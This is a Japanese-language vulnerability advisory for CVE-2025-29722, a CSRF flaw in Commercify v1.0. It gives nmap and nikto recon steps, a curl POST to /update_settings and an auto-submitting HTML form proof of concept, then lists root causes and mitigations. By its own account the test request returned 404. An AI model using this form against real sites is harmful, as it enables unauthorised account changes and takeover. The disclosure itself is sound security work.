🛡️ CVE-2025-29722 – Commercify v1.0 におけるクロスサイトリクエストフォージェリ (CSRF)

発見者: David P.S Abraham（別名 Davycipher）

CVE ID

CVE-2025-29722 は、MITRE Corporation によってこの脆弱性に割り当てられました。

概要

CSRF 脆弱性が、@yassmittal によって開発されたオープンソースの e コマースプラットフォームである Commercify v1.0 で特定されました。このアプリケーションには、/update_settings などの重要なエンドポイントに適切な CSRF 保護メカニズムがないため、攻撃者は別のドメインから実行されるとユーザーデータを変更するような悪意のあるリクエストを作成できます。

影響を受ける製品

製品名: Commercify
バージョン: 1.0
リポジトリ: https://github.com/yassmittal/Commercify

脆弱性の種類

CWE-352: クロスサイトリクエストフォージェリ (CSRF)

悪用手順

偵察フェーズ

nmap スキャンにより、サービスがポート 5173 でアクセス可能であることが判明し、開発サーバーの可能性が示されました。

nmap -p 5173 localhost

次に、nikto を使用してアプリをスキャンし、以下が明らかになりました：

X-Frame-Options ヘッダーがない
寛容な CORS ポリシー（Access-Control-Allow-Origin: *）
CSRF 保護ヘッダーの欠如

エンドポイントのブルートフォース

アプリケーションを探索中、ユーザーダッシュボードの機能に基づいて update_settings エンドポイントの可能性を疑いました。次のようにテストしました：

curl -X POST "http://localhost:5173/update_settings" \
-d "username=attacker&[email protected]"

404 Not Found が返されましたが、この動作は環境に依存する可能性があります。有効なデプロイメントでは、これによりアカウントの完全な操作につながる可能性があります。

概念実証（PoC）

CSRF の欠陥を悪用する HTML ベースの攻撃：

<form action="http://localhost:5173/update_settings" method="POST">
  <input type="hidden" name="username" value="attacker">
  <input type="hidden" name="email" value="[email protected]">
</form>
<script>
  document.forms[0].submit();
</script>

影響

ユーザーアカウントデータへの不正な変更
設定にロールやメールアドレスの操作が含まれる場合の権限昇格
アカウント乗っ取りのシナリオ

根本原因

CSRF トークンの欠如
SameSite Cookie 属性がない
寛容な CORS（*）
Referer または Origin 検証がない

緩和策と推奨事項

すべての状態変更エンドポイントに CSRF トークンを追加する
Cookie に SameSite=Strict または Lax を設定する
厳格な CORS ポリシーを定義する
Origin/Referer 検証を実装する

発見者

David P.S. Abraham
別名: Davycipher

CVE-2025-29722

人気